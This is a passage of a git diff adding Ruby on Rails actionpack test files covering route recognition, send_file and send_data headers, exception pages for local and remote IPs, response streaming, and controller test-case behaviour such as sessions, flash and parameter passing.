+    assert_equal({ controller: "geocode", action: "show", postalcode: "12345-1234" }, @routes.recognize_path("/extended/geocode/12345-1234"))
+    assert_equal({ controller: "geocode", action: "show", postalcode: "12345" }, @routes.recognize_path("/extended/geocode/12345"))
+
+    assert_equal({ controller: "news", action: "index" }, @routes.recognize_path("/", method: :get))
+    assert_equal({ controller: "news", action: "index", format: "rss" }, @routes.recognize_path("/news.rss", method: :get))
+
+    assert_raise(ActionController::RoutingError) { @routes.recognize_path("/none", method: :get) }
+  end
+
+  def test_generate_extras
+    assert_equal ["/people", []], @routes.generate_extras(controller: "people")
+    assert_equal ["/people", [:foo]], @routes.generate_extras(controller: "people", foo: "bar")
+    assert_equal ["/people", []], @routes.generate_extras(controller: "people", action: "index")
+    assert_equal ["/people", [:foo]], @routes.generate_extras(controller: "people", action: "index", foo: "bar")
+    assert_equal ["/people/new", []], @routes.generate_extras(controller: "people", action: "new")
+    assert_equal ["/people/new", [:foo]], @routes.generate_extras(controller: "people", action: "new", foo: "bar")
+    assert_equal ["/people/1", []], @routes.generate_extras(controller: "people", action: "show", id: "1")
+    assert_equal ["/people/1", [:bar, :foo]], sort_extras!(@routes.generate_extras(controller: "people", action: "show", id: "1", foo: "2", bar: "3"))
+    assert_equal ["/people", [:person]], @routes.generate_extras(controller: "people", action: "create", person: { first_name: "Josh", last_name: "Peek" })
+    assert_equal ["/people", [:people]], @routes.generate_extras(controller: "people", action: "create", people: ["Josh", "Dave"])
+
+    assert_equal ["/posts/show/1", []], @routes.generate_extras(controller: "posts", action: "show", id: "1")
+    assert_equal ["/posts/show/1", [:bar, :foo]], sort_extras!(@routes.generate_extras(controller: "posts", action: "show", id: "1", foo: "2", bar: "3"))
+    assert_equal ["/posts", []], @routes.generate_extras(controller: "posts", action: "index")
+    assert_equal ["/posts", [:foo]], @routes.generate_extras(controller: "posts", action: "index", foo: "bar")
+  end
+
+  def test_extras
+    params = { controller: "people" }
+    assert_equal [], @routes.extra_keys(params)
+    assert_equal({ controller: "people", action: "index" }, params)
+
+    params = { controller: "people", foo: "bar" }
+    assert_equal [:foo], @routes.extra_keys(params)
+    assert_equal({ controller: "people", action: "index", foo: "bar" }, params)
+
+    params = { controller: "people", action: "create", person: { name: "Josh" } }
+    assert_equal [:person], @routes.extra_keys(params)
+    assert_equal({ controller: "people", action: "create", person: { name: "Josh" } }, params)
+  end
+
+  def test_unicode_path
+    assert_equal({ controller: "news", action: "index" }, @routes.recognize_path(URI.parser.escape("こんにちは/世界"), method: :get))
+  end
+
+  def test_downcased_unicode_path
+    assert_equal({ controller: "news", action: "index" }, @routes.recognize_path(URI.parser.escape("こんにちは/世界").downcase, method: :get))
+  end
+
+  private
+    def sort_extras!(extras)
+      if extras.length == 2
+        extras[1].sort! { |a, b| a.to_s <=> b.to_s }
+      end
+      extras
+    end
+end
diff --git a/actionpack/test/controller/runner_test.rb b/actionpack/test/controller/runner_test.rb
new file mode 100644
index 0000000000..a96c9c519b
--- /dev/null
+++ b/actionpack/test/controller/runner_test.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_dispatch/testing/integration"
+
+module ActionDispatch
+  class RunnerTest < ActiveSupport::TestCase
+    class MyRunner
+      include Integration::Runner
+
+      def initialize(session)
+        @integration_session = session
+      end
+
+      def hi; end
+    end
+
+    def test_respond_to?
+      runner = MyRunner.new(Class.new { def x; end }.new)
+      assert runner.respond_to?(:hi)
+      assert runner.respond_to?(:x)
+    end
+  end
+end
diff --git a/actionpack/test/controller/send_file_test.rb b/actionpack/test/controller/send_file_test.rb
new file mode 100644
index 0000000000..fd2399e433
--- /dev/null
+++ b/actionpack/test/controller/send_file_test.rb
@@ -0,0 +1,259 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module TestFileUtils
+  def file_name() File.basename(__FILE__) end
+  def file_path() __FILE__ end
+  def file_data() @data ||= File.open(file_path, "rb") { |f| f.read } end
+end
+
+class SendFileController < ActionController::Base
+  include TestFileUtils
+  include ActionController::Testing
+  layout "layouts/standard" # to make sure layouts don't interfere
+
+  before_action :file, only: :file_from_before_action
+
+  attr_writer :options
+  def options
+    @options ||= {}
+  end
+
+  def file
+    send_file(file_path, options)
+  end
+
+  def file_from_before_action
+    raise "No file sent from before action."
+  end
+
+  def test_send_file_headers_bang
+    options = {
+      type: Mime[:png],
+      disposition: "disposition",
+      filename: "filename"
+    }
+
+    send_data "foo", options
+  end
+
+  def test_send_file_headers_with_disposition_as_a_symbol
+    options = {
+      type: Mime[:png],
+      disposition: :disposition,
+      filename: "filename"
+    }
+
+    send_data "foo", options
+  end
+
+  def test_send_file_headers_with_mime_lookup_with_symbol
+    options = { type: :png }
+
+    send_data "foo", options
+  end
+
+  def test_send_file_headers_with_bad_symbol
+    options = { type: :this_type_is_not_registered }
+    send_data "foo", options
+  end
+
+  def test_send_file_headers_with_nil_content_type
+    options = { type: nil }
+    send_data "foo", options
+  end
+
+  def test_send_file_headers_guess_type_from_extension
+    options = { filename: params[:filename] }
+    send_data "foo", options
+  end
+
+  def data
+    send_data(file_data, options)
+  end
+end
+
+class SendFileWithActionControllerLive < SendFileController
+  include ActionController::Live
+end
+
+class SendFileTest < ActionController::TestCase
+  include TestFileUtils
+
+  def setup
+    @controller = SendFileController.new
+  end
+
+  def test_file_nostream
+    @controller.options = { stream: false }
+    response = nil
+    assert_nothing_raised { response = process("file") }
+    assert_not_nil response
+    body = response.body
+    assert_kind_of String, body
+    assert_equal file_data, body
+  end
+
+  def test_file_stream
+    response = nil
+    assert_nothing_raised { response = process("file") }
+    assert_not_nil response
+    assert_respond_to response.stream, :each
+    assert_respond_to response.stream, :to_path
+
+    require "stringio"
+    output = StringIO.new
+    output.binmode
+    output.string.force_encoding(file_data.encoding)
+    response.body_parts.each { |part| output << part.to_s }
+    assert_equal file_data, output.string
+  end
+
+  def test_file_url_based_filename
+    @controller.options = { url_based_filename: true }
+    response = nil
+    assert_nothing_raised { response = process("file") }
+    assert_not_nil response
+    assert_equal "attachment", response.headers["Content-Disposition"]
+  end
+
+  def test_data
+    response = nil
+    assert_nothing_raised { response = process("data") }
+    assert_not_nil response
+
+    assert_kind_of String, response.body
+    assert_equal file_data, response.body
+  end
+
+  def test_headers_after_send_shouldnt_include_charset
+    response = process("data")
+    assert_equal "application/octet-stream", response.headers["Content-Type"]
+
+    response = process("file")
+    assert_equal "application/octet-stream", response.headers["Content-Type"]
+  end
+
+  # Test that send_file_headers! is setting the correct HTTP headers.
+  def test_send_file_headers_bang
+    # Do it a few times: the resulting headers should be identical
+    # no matter how many times you send with the same options.
+    # Test resolving Ticket #458.
+    5.times do
+      get :test_send_file_headers_bang
+
+      assert_equal "image/png", response.content_type
+      assert_equal 'disposition; filename="filename"', response.get_header("Content-Disposition")
+      assert_equal "binary", response.get_header("Content-Transfer-Encoding")
+      assert_equal "private", response.get_header("Cache-Control")
+    end
+  end
+
+  def test_send_file_headers_with_disposition_as_a_symbol
+    get :test_send_file_headers_with_disposition_as_a_symbol
+
+    assert_equal 'disposition; filename="filename"', response.get_header("Content-Disposition")
+  end
+
+  def test_send_file_headers_with_mime_lookup_with_symbol
+    get __method__
+    assert_equal "image/png", response.content_type
+  end
+
+  def test_send_file_headers_with_bad_symbol
+    error = assert_raise(ArgumentError) { get __method__ }
+    assert_equal "Unknown MIME type this_type_is_not_registered", error.message
+  end
+
+  def test_send_file_headers_with_nil_content_type
+    error = assert_raise(ArgumentError) { get __method__ }
+    assert_equal ":type option required", error.message
+  end
+
+  def test_send_file_headers_guess_type_from_extension
+    {
+      "image.png" => "image/png",
+      "image.jpeg" => "image/jpeg",
+      "image.jpg" => "image/jpeg",
+      "image.tif" => "image/tiff",
+      "image.gif" => "image/gif",
+      "movie.mpg" => "video/mpeg",
+      "file.zip" => "application/zip",
+      "file.unk" => "application/octet-stream",
+      "zip" => "application/octet-stream"
+    }.each do |filename, expected_type|
+      get __method__, params: { filename: filename }
+      assert_equal expected_type, response.content_type
+    end
+  end
+
+  def test_send_file_with_default_content_disposition_header
+    process("data")
+    assert_equal "attachment", @controller.headers["Content-Disposition"]
+  end
+
+  def test_send_file_without_content_disposition_header
+    @controller.options = { disposition: nil }
+    process("data")
+    assert_nil @controller.headers["Content-Disposition"]
+  end
+
+  def test_send_file_from_before_action
+    response = nil
+    assert_nothing_raised { response = process("file_from_before_action") }
+    assert_not_nil response
+
+    assert_kind_of String, response.body
+    assert_equal file_data, response.body
+  end
+
+  %w(file data).each do |method|
+    define_method "test_send_#{method}_status" do
+      @controller.options = { stream: false, status: 500 }
+      assert_not_nil process(method)
+      assert_equal 500, @response.status
+    end
+
+    define_method "test_send_#{method}_content_type" do
+      @controller.options = { stream: false, content_type: "application/x-ruby" }
+      assert_nothing_raised { assert_not_nil process(method) }
+      assert_equal "application/x-ruby", @response.content_type
+    end
+
+    define_method "test_default_send_#{method}_status" do
+      @controller.options = { stream: false }
+      assert_nothing_raised { assert_not_nil process(method) }
+      assert_equal 200, @response.status
+    end
+  end
+
+  def test_send_file_with_action_controller_live
+    @controller = SendFileWithActionControllerLive.new
+    @controller.options = { content_type: "application/x-ruby" }
+
+    response = process("file")
+    assert_equal 200, response.status
+  end
+
+  def test_send_file_charset_with_type_options_key
+    @controller = SendFileWithActionControllerLive.new
+    @controller.options = { type: "text/calendar; charset=utf-8" }
+    response = process("file")
+    assert_equal "text/calendar; charset=utf-8", response.headers["Content-Type"]
+  end
+
+  def test_send_file_charset_with_type_options_key_without_charset
+    @controller = SendFileWithActionControllerLive.new
+    @controller.options = { type: "image/png" }
+    response = process("file")
+    assert_equal "image/png", response.headers["Content-Type"]
+  end
+
+  def test_send_file_charset_with_content_type_options_key
+    @controller = SendFileWithActionControllerLive.new
+    @controller.options = { content_type: "text/calendar" }
+    response = process("file")
+    assert_equal "text/calendar", response.headers["Content-Type"]
+  end
+end
diff --git a/actionpack/test/controller/show_exceptions_test.rb b/actionpack/test/controller/show_exceptions_test.rb
new file mode 100644
index 0000000000..2094aa1aed
--- /dev/null
+++ b/actionpack/test/controller/show_exceptions_test.rb
@@ -0,0 +1,114 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ShowExceptions
+  class ShowExceptionsController < ActionController::Base
+    use ActionDispatch::ShowExceptions, ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public")
+    use ActionDispatch::DebugExceptions
+
+    before_action only: :another_boom do
+      request.env["action_dispatch.show_detailed_exceptions"] = true
+    end
+
+    def boom
+      raise "boom!"
+    end
+
+    def another_boom
+      raise "boom!"
+    end
+
+    def show_detailed_exceptions?
+      request.local?
+    end
+  end
+
+  class ShowExceptionsTest < ActionDispatch::IntegrationTest
+    test "show error page from a remote ip" do
+      @app = ShowExceptionsController.action(:boom)
+      self.remote_addr = "208.77.188.166"
+      get "/"
+      assert_equal "500 error fixture\n", body
+    end
+
+    test "show diagnostics from a local ip if show_detailed_exceptions? is set to request.local?" do
+      @app = ShowExceptionsController.action(:boom)
+      ["127.0.0.1", "127.0.0.127", "127.12.1.1", "::1", "0:0:0:0:0:0:0:1", "0:0:0:0:0:0:0:1%0"].each do |ip_address|
+        self.remote_addr = ip_address
+        get "/"
+        assert_match(/boom/, body)
+      end
+    end
+
+    test "show diagnostics from a remote ip when env is already set" do
+      @app = ShowExceptionsController.action(:another_boom)
+      self.remote_addr = "208.77.188.166"
+      get "/"
+      assert_match(/boom/, body)
+    end
+  end
+
+  class ShowExceptionsOverriddenController < ShowExceptionsController
+    private
+
+      def show_detailed_exceptions?
+        params["detailed"] == "1"
+      end
+  end
+
+  class ShowExceptionsOverriddenTest < ActionDispatch::IntegrationTest
+    test "show error page" do
+      @app = ShowExceptionsOverriddenController.action(:boom)
+      get "/", params: { "detailed" => "0" }
+      assert_equal "500 error fixture\n", body
+    end
+
+    test "show diagnostics message" do
+      @app = ShowExceptionsOverriddenController.action(:boom)
+      get "/", params: { "detailed" => "1" }
+      assert_match(/boom/, body)
+    end
+  end
+
+  class ShowExceptionsFormatsTest < ActionDispatch::IntegrationTest
+    def test_render_json_exception
+      @app = ShowExceptionsOverriddenController.action(:boom)
+      get "/", headers: { "HTTP_ACCEPT" => "application/json" }
+      assert_response :internal_server_error
+      assert_equal "application/json", response.content_type.to_s
+      assert_equal({ status: 500, error: "Internal Server Error" }.to_json, response.body)
+    end
+
+    def test_render_xml_exception
+      @app = ShowExceptionsOverriddenController.action(:boom)
+      get "/", headers: { "HTTP_ACCEPT" => "application/xml" }
+      assert_response :internal_server_error
+      assert_equal "application/xml", response.content_type.to_s
+      assert_equal({ status: 500, error: "Internal Server Error" }.to_xml, response.body)
+    end
+
+    def test_render_fallback_exception
+      @app = ShowExceptionsOverriddenController.action(:boom)
+      get "/", headers: { "HTTP_ACCEPT" => "text/csv" }
+      assert_response :internal_server_error
+      assert_equal "text/html", response.content_type.to_s
+    end
+  end
+
+  class ShowFailsafeExceptionsTest < ActionDispatch::IntegrationTest
+    def test_render_failsafe_exception
+      @app = ShowExceptionsOverriddenController.action(:boom)
+      @exceptions_app = @app.instance_variable_get(:@exceptions_app)
+      @app.instance_variable_set(:@exceptions_app, nil)
+      $stderr = StringIO.new
+
+      get "/", headers: { "HTTP_ACCEPT" => "text/json" }
+      assert_response :internal_server_error
+      assert_equal "text/plain", response.content_type.to_s
+    ensure
+      @app.instance_variable_set(:@exceptions_app, @exceptions_app)
+      $stderr = STDERR
+    end
+  end
+end
diff --git a/actionpack/test/controller/streaming_test.rb b/actionpack/test/controller/streaming_test.rb
new file mode 100644
index 0000000000..5a42e2ae6d
--- /dev/null
+++ b/actionpack/test/controller/streaming_test.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionController
+  class StreamingResponseTest < ActionController::TestCase
+    class TestController < ActionController::Base
+      def self.controller_path
+        "test"
+      end
+
+      def basic_stream
+        %w{ hello world }.each do |word|
+          response.stream.write word
+          response.stream.write "\n"
+        end
+        response.stream.close
+      end
+    end
+
+    tests TestController
+
+    def test_write_to_stream
+      get :basic_stream
+      assert_equal "hello\nworld\n", @response.body
+    end
+  end
+end
diff --git a/actionpack/test/controller/test_case_test.rb b/actionpack/test/controller/test_case_test.rb
new file mode 100644
index 0000000000..92b1c75443
--- /dev/null
+++ b/actionpack/test/controller/test_case_test.rb
@@ -0,0 +1,1120 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "controller/fake_controllers"
+require "active_support/json/decoding"
+require "rails/engine"
+
+class TestCaseTest < ActionController::TestCase
+  def self.fixture_path; end;
+
+  class TestController < ActionController::Base
+    def no_op
+      render plain: "dummy"
+    end
+
+    def set_flash
+      flash["test"] = ">#{flash["test"]}<"
+      render plain: "ignore me"
+    end
+
+    def delete_flash
+      flash.delete("test")
+      render plain: "ignore me"
+    end
+
+    def set_flash_now
+      flash.now["test_now"] = ">#{flash["test_now"]}<"
+      render plain: "ignore me"
+    end
+
+    def set_session
+      session["string"] = "A wonder"
+      session[:symbol] = "it works"
+      render plain: "Success"
+    end
+
+    def reset_the_session
+      reset_session
+      render plain: "ignore me"
+    end
+
+    def render_raw_post
+      raise ActiveSupport::TestCase::Assertion, "#raw_post is blank" if request.raw_post.blank?
+      render plain: request.raw_post
+    end
+
+    def render_body
+      render plain: request.body.read
+    end
+
+    def test_params
+      render plain: ::JSON.dump(params.to_unsafe_h)
+    end
+
+    def test_query_parameters
+      render plain: ::JSON.dump(request.query_parameters)
+    end
+
+    def test_request_parameters
+      render plain: request.request_parameters.inspect
+    end
+
+    def test_uri
+      render plain: request.fullpath
+    end
+
+    def test_format
+      render plain: request.format
+    end
+
+    def test_query_string
+      render plain: request.query_string
+    end
+
+    def test_protocol
+      render plain: request.protocol
+    end
+
+    def test_headers
+      render plain: ::JSON.dump(request.headers.env)
+    end
+
+    def test_html_output
+      render plain: <<HTML
+<html>
+  <body>
+    <a href="/"><img src="/images/button.png" /></a>
+    <div id="foo">
+      <ul>
+        <li class="item">hello</li>
+        <li class="item">goodbye</li>
+      </ul>
+    </div>
+    <div id="bar">
+      <form action="/somewhere">
+        Name: <input type="text" name="person[name]" id="person_name" />
+      </form>
+    </div>
+  </body>
+</html>
+HTML
+    end
+
+    def test_xml_output
+      response.content_type = params[:response_as]
+      render plain: <<XML
+<?xml version="1.0" encoding="UTF-8"?>
+<root>
+  <area><p>area is an empty tag in HTML, so it won't contain this content</p></area>
+</root>
+XML
+    end
+
+    def test_only_one_param
+      render plain: (params[:left] && params[:right]) ? "EEP, Both here!" : "OK"
+    end
+
+    def test_remote_addr
+      render plain: (request.remote_addr || "not specified")
+    end
+
+    def test_file_upload
+      render plain: params[:file].size
+    end
+
+    def test_send_file
+      send_file(__FILE__)
+    end
+
+    def redirect_to_same_controller
+      redirect_to controller: "test", action: "test_uri", id: 5
+    end
+
+    def redirect_to_different_controller
+      redirect_to controller: "fail", id: 5
+    end
+
+    def create
+      head :created, location: "/resource"
+    end
+
+    def render_cookie
+      render plain: cookies["foo"]
+    end
+
+    def delete_cookie
+      cookies.delete("foo")
+      render plain: "ok"
+    end
+
+    def test_without_body
+      render html: '<div class="foo"></div>'.html_safe
+    end
+
+    def test_with_body
+      render html: '<body class="foo"></body>'.html_safe
+    end
+
+    def boom
+      raise "boom!"
+    end
+
+    private
+
+      def generate_url(opts)
+        url_for(opts.merge(action: "test_uri"))
+      end
+  end
+
+  def setup
+    super
+    @controller = TestController.new
+    @request.delete_header "PATH_INFO"
+    @routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
+      r.draw do
+        ActiveSupport::Deprecation.silence do
+          get ":controller(/:action(/:id))"
+        end
+      end
+    end
+  end
+
+  class DefaultUrlOptionsCachingController < ActionController::Base
+    before_action { @dynamic_opt = "opt" }
+
+    def test_url_options_reset
+      render plain: url_for
+    end
+
+    def default_url_options
+      if defined?(@dynamic_opt)
+        super.merge dynamic_opt: @dynamic_opt
+      else
+        super
+      end
+    end
+  end
+
+  def test_assert_select_without_body
+    get :test_without_body
+
+    assert_select "body", 0
+    assert_select "div.foo"
+  end
+
+  def test_assert_select_with_body
+    get :test_with_body
+
+    assert_select "body.foo"
+  end
+
+  def test_url_options_reset
+    @controller = DefaultUrlOptionsCachingController.new
+    get :test_url_options_reset
+    assert_nil @request.params["dynamic_opt"]
+    assert_match(/dynamic_opt=opt/, @response.body)
+  end
+
+  def test_raw_post_handling
+    params = Hash[:page, { name: "page name" }, "some key", 123]
+    post :render_raw_post, params: params.dup
+
+    assert_equal params.to_query, @response.body
+  end
+
+  def test_body_stream
+    params = Hash[:page, { name: "page name" }, "some key", 123]
+
+    post :render_body, params: params.dup
+
+    assert_equal params.to_query, @response.body
+  end
+
+  def test_document_body_and_params_with_post
+    post :test_params, params: { id: 1 }
+    assert_equal({ "id" => "1", "controller" => "test_case_test/test", "action" => "test_params" }, ::JSON.parse(@response.body))
+  end
+
+  def test_document_body_with_post
+    post :render_body, body: "document body"
+    assert_equal "document body", @response.body
+  end
+
+  def test_document_body_with_put
+    put :render_body, body: "document body"
+    assert_equal "document body", @response.body
+  end
+
+  def test_head
+    head :test_params
+    assert_equal 200, @response.status
+  end
+
+  def test_process_without_flash
+    process :set_flash
+    assert_equal "><", flash["test"]
+  end
+
+  def test_process_with_flash
+    process :set_flash,
+      method: "GET",
+      flash: { "test" => "value" }
+    assert_equal ">value<", flash["test"]
+  end
+
+  def test_process_with_flash_now
+    process :set_flash_now,
+      method: "GET",
+      flash: { "test_now" => "value_now" }
+    assert_equal ">value_now<", flash["test_now"]
+  end
+
+  def test_process_delete_flash
+    process :set_flash
+    process :delete_flash
+    assert_empty flash
+    assert_empty session
+  end
+
+  def test_process_with_session
+    process :set_session
+    assert_equal "A wonder", session["string"], "A value stored in the session should be available by string key"
+    assert_equal "A wonder", session[:string], "Test session hash should allow indifferent access"
+    assert_equal "it works", session["symbol"], "Test session hash should allow indifferent access"
+    assert_equal "it works", session[:symbol], "Test session hash should allow indifferent access"
+  end
+
+  def test_process_with_session_kwarg
+    process :no_op, method: "GET", session: { "string" => "value1", symbol: "value2" }
+    assert_equal "value1", session["string"]
+    assert_equal "value1", session[:string]
+    assert_equal "value2", session["symbol"]
+    assert_equal "value2", session[:symbol]
+  end
+
+  def test_process_merges_session_arg
+    session[:foo] = "bar"
+    get :no_op, session: { bar: "baz" }
+    assert_equal "bar", session[:foo]
+    assert_equal "baz", session[:bar]
+  end
+
+  def test_merged_session_arg_is_retained_across_requests
+    get :no_op, session: { foo: "bar" }
+    assert_equal "bar", session[:foo]
+    get :no_op
+    assert_equal "bar", session[:foo]
+  end
+
+  def test_process_overwrites_existing_session_arg
+    session[:foo] = "bar"
+    get :no_op, session: { foo: "baz" }
+    assert_equal "baz", session[:foo]
+  end
+
+  def test_session_is_cleared_from_controller_after_reset_session
+    process :set_session
+    process :reset_the_session
+    assert_equal Hash.new, @controller.session.to_hash
+  end
+
+  def test_session_is_cleared_from_request_after_reset_session
+    process :set_session
+    process :reset_the_session
+    assert_equal Hash.new, @request.session.to_hash
+  end
+
+  def test_response_and_request_have_nice_accessors
+    process :no_op
+    assert_equal @response, response
+    assert_equal @request, request
+  end
+
+  def test_process_with_request_uri_with_no_params
+    process :test_uri
+    assert_equal "/test_case_test/test/test_uri", @response.body
+  end
+
+  def test_process_with_symbol_method
+    process :test_uri, method: :get
+    assert_equal "/test_case_test/test/test_uri", @response.body
+  end
+
+  def test_process_with_request_uri_with_params
+    process :test_uri,
+      method: "GET",
+      params: { id: 7 }
+
+    assert_equal "/test_case_test/test/test_uri/7", @response.body
+  end
+
+  def test_process_with_request_uri_with_params_with_explicit_uri
+    @request.env["PATH_INFO"] = "/explicit/uri"
+    process :test_uri, method: "GET", params: { id: 7 }
+    assert_equal "/explicit/uri", @response.body
+  end
+
+  def test_process_with_query_string
+    process :test_query_string,
+      method: "GET",
+      params: { q: "test" }
+    assert_equal "q=test", @response.body
+  end
+
+  def test_process_with_query_string_with_explicit_uri
+    @request.env["PATH_INFO"] = "/explicit/uri"
+    @request.env["QUERY_STRING"] = "q=test?extra=question"
+    process :test_query_string
+    assert_equal "q=test?extra=question", @response.body
+  end
+
+  def test_multiple_calls
+    process :test_only_one_param, method: "GET", params: { left: true }
+    assert_equal "OK", @response.body
+    process :test_only_one_param, method: "GET", params: { right: true }
+    assert_equal "OK", @response.body
+  end
+
+  def test_should_impose_childless_html_tags_in_html
+    process :test_xml_output, params: { response_as: "text/html" }
+
+    # <area> auto-closes, so the <p> becomes a sibling
+    assert_select "root > area + p"
+  end
+
+  def test_should_not_impose_childless_html_tags_in_xml
+    process :test_xml_output, params: { response_as: "application/xml" }
+
+    # <area> is not special, so the <p> is its child
+    assert_select "root > area > p"
+  end
+
+  def test_assert_generates
+    assert_generates "controller/action/5", controller: "controller", action: "action", id: "5"
+    assert_generates "controller/action/7", { id: "7" }, controller: "controller", action: "action"
+    assert_generates "controller/action/5", { controller: "controller", action: "action", id: "5", name: "bob" }, {}, name: "bob"
+    assert_generates "controller/action/7", { id: "7", name: "bob" }, { controller: "controller", action: "action" }, name: "bob"
+    assert_generates "controller/action/7", { id: "7" }, { controller: "controller", action: "action", name: "bob" }, {}
+  end
+
+  def test_assert_routing
+    assert_routing "content", controller: "content", action: "index"
+  end
+
+  def test_assert_routing_with_method
+    with_routing do |set|
+      set.draw { resources(:content) }
+      assert_routing({ method: "post", path: "content" }, controller: "content", action: "create")
+    end
+  end
+
+  def test_assert_routing_in_module
+    with_routing do |set|
+      set.draw do
+        namespace :admin do
+          get "user" => "user#index"
+        end
+      end
+
+      assert_routing "admin/user", controller: "admin/user", action: "index"
+    end
+  end
+
+  def test_assert_routing_with_glob
+    with_routing do |set|
+      set.draw { get("*path" => "pages#show") }
+      assert_routing("/company/about", controller: "pages", action: "show", path: "company/about")
+    end
+  end
+
+  def test_params_passing
+    get :test_params, params: {
+      page: {
+        name: "Page name",
+        month: "4",
+        year: "2004",
+        day: "6"
+      }
+    }
+    parsed_params = ::JSON.parse(@response.body)
+    assert_equal(
+      {
+        "controller" => "test_case_test/test", "action" => "test_params",
+        "page" => { "name" => "Page name", "month" => "4", "year" => "2004", "day" => "6" }
+      },
+      parsed_params
+    )
+  end
+
+  def test_query_param_named_action
+    get :test_query_parameters, params: { action: "foobar" }
+    parsed_params = JSON.parse(@response.body)
+    assert_equal({ "action" => "foobar" }, parsed_params)
+  end
+
+  def test_request_param_named_action
+    post :test_request_parameters, params: { action: "foobar" }
+    parsed_params = eval(@response.body)
+    assert_equal({ "action" => "foobar" }, parsed_params)
+  end
+
+  def test_kwarg_params_passing_with_session_and_flash
+    get :test_params, params: {
+      page: {
+        name: "Page name",
+        month: "4",
+        year: "2004",
+        day: "6"
+      }
+    }, session: { "foo" => "bar" }, flash: { notice: "created" }
+
+    parsed_params = ::JSON.parse(@response.body)
+    assert_equal(
+      { "controller" => "test_case_test/test", "action" => "test_params",
+       "page" => { "name" => "Page name", "month" => "4", "year" => "2004", "day" => "6" } },
+      parsed_params
+    )
+
+    assert_equal "bar", session[:foo]
+    assert_equal "created", flash[:notice]
+  end
+
+  def test_params_passing_with_integer
+    get :test_params, params: {
+      page: { name: "Page name", month: 4, year: 2004, day: 6 }
+    }
+    parsed_params = ::JSON.parse(@response.body)
+    assert_equal(
+      { "controller" => "test_case_test/test", "action" => "test_params",
+       "page" => { "name" => "Page name", "month" => "4", "year" => "2004", "day" => "6" } },
+      parsed_params
+    )
+  end
+
+  def test_params_passing_with_integers_when_not_html_request
+    get :test_params, params: { format: "json", count: 999 }
+    parsed_params = ::JSON.parse(@response.body)
+    assert_equal(
+      { "controller" => "test_case_test/test", "action" => "test_params",
+       "format" => "json", "count" => "999" },
+      parsed_params
+    )
+  end
+
+  def test_params_passing_path_parameter_is_string_when_not_html_request
+    get :test_params, params: { format: "json", id: 1 }
+    parsed_params = ::JSON.parse(@response.body)
+    assert_equal(
+      { "controller" => "test_case_test/test", "action" => "test_params",
+       "format" => "json", "id" => "1" },
+      parsed_params
+    )
+  end
+
+  def test_params_passing_with_frozen_values
+    assert_nothing_raised do
+      get :test_params, params: {
+        frozen: "icy".freeze, frozens: ["icy".freeze].freeze, deepfreeze: { frozen: "icy".freeze }.freeze
+      }
+    end
+    parsed_params = ::JSON.parse(@response.body)
+    assert_equal(
+      { "controller" => "test_case_test/test", "action" => "test_params",
+       "frozen" => "icy", "frozens" => ["icy"], "deepfreeze" => { "frozen" => "icy" } },
+      parsed_params
+    )
+  end
+
+  def test_params_passing_doesnt_modify_in_place
+    page = { name: "Page name", month: 4, year: 2004, day: 6 }
+    get :test_params, params: { page: page }
+    assert_equal 2004, page[:year]
+  end
+
+  test "set additional HTTP headers" do
+    @request.headers["Referer"] = "http://nohost.com/home"
+    @request.headers["Content-Type"] = "application/rss+xml"
+    get :test_headers
+    parsed_env = ActiveSupport::JSON.decode(@response.body)
+    assert_equal "http://nohost.com/home", parsed_env["HTTP_REFERER"]
+    assert_equal "application/rss+xml", parsed_env["CONTENT_TYPE"]
+  end
+
+  test "set additional env variables" do
+    @request.headers["HTTP_REFERER"] = "http://example.com/about"
+    @request.headers["CONTENT_TYPE"] = "application/json"
+    get :test_headers
+    parsed_env = ActiveSupport::JSON.decode(@response.body)
+    assert_equal "http://example.com/about", parsed_env["HTTP_REFERER"]
+    assert_equal "application/json", parsed_env["CONTENT_TYPE"]
+  end
+
+  def test_using_as_json_sets_request_content_type_to_json
+    post :render_body, params: { bool_value: true, str_value: "string", num_value: 2 }, as: :json
+
+    assert_equal "application/json", @request.headers["CONTENT_TYPE"]
+    assert_equal true, @request.request_parameters[:bool_value]
+    assert_equal "string", @request.request_parameters[:str_value]
+    assert_equal 2, @request.request_parameters[:num_value]
+  end
+
+  def test_using_as_json_sets_format_json
+    post :render_body, params: { bool_value: true, str_value: "string", num_value: 2 }, as: :json
+    assert_equal "json", @request.format
+  end
+
+  def test_mutating_content_type_headers_for_plain_text_files_sets_the_header
+    @request.headers["Content-Type"] = "text/plain"
+    post :render_body, params: { name: "foo.txt" }
+
+    assert_equal "text/plain", @request.headers["Content-type"]
+    assert_equal "foo.txt", @request.request_parameters[:name]
+    assert_equal "render_body", @request.path_parameters[:action]
+  end
+
+  def test_mutating_content_type_headers_for_html_files_sets_the_header
+    @request.headers["Content-Type"] = "text/html"
+    post :render_body, params: { name: "foo.html" }
+
+    assert_equal "text/html", @request.headers["Content-type"]
+    assert_equal "foo.html", @request.request_parameters[:name]
+    assert_equal "render_body", @request.path_parameters[:action]
+  end
+
+  def test_mutating_content_type_headers_for_non_registered_mime_type_raises_an_error
+    assert_raises(RuntimeError) do
+      @request.headers["Content-Type"] = "type/fake"
+      post :render_body, params: { name: "foo.fake" }
+    end
+  end
+
+  def test_id_converted_to_string
+    get :test_params, params: {
+      id: 20, foo: Object.new
+    }
+    assert_kind_of String, @request.path_parameters[:id]
+  end
+
+  def test_array_path_parameter_handled_properly
+    with_routing do |set|
+      set.draw do
+        get "file/*path", to: "test_case_test/test#test_params"
+
+        ActiveSupport::Deprecation.silence do
+          get ":controller/:action"
+        end
+      end
+
+      get :test_params, params: { path: ["hello", "world"] }
+      assert_equal ["hello", "world"], @request.path_parameters[:path]
+      assert_equal "hello/world", @request.path_parameters[:path].to_param
+    end
+  end
+
+  def test_assert_realistic_path_parameters
+    get :test_params, params: { id: 20, foo: Object.new }
+
+    # All elements of path_parameters should use Symbol keys
+    @request.path_parameters.each_key do |key|
+      assert_kind_of Symbol, key
+    end
+  end
+
+  def test_with_routing_places_routes_back
+    assert @routes
+    routes_id = @routes.object_id
+
+    begin
+      with_routing { raise "fail" }
+      fail "Should not be here."
+    rescue RuntimeError
+    end
+
+    assert @routes
